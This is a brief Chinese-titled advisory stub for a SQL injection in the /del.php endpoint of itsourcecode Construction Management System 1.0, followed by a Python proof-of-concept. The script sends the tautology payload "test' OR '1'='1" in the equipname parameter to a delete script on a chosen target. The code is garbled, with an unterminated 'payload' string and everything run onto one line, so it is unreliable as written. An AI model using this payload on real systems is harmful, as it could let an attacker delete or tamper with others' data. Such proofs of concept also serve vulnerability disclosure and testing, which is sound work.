CVE-2026-6007 建筑管理系统SQL注入漏洞

import requests # PoC for CVE-2026-6007 # Target: itsourcecode Construction Management System 1.0 # Vulnerable File: /del.php # Vulnerable Parameter: equipname def check_sql_injection(target_url): """ Tests the equipname parameter for SQL injection vulnerability. """ # Injecting a simple SQL payload to check for syntax errors or time delays payload = " params = { "equipname": "test' OR '1'='1" } try: print(f"[+] Sending request to {target_url}/del.php") response = requests.get(f"{target_url}/del.php", params=params, timeout=10) # Analyze response (Heuristic check) if response.status_code == 200: print("[+] Request successful. Check if database error appeared or content changed.") print("[+] Response snippet:", response.text[:200]) else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost" check_sql_injection(target)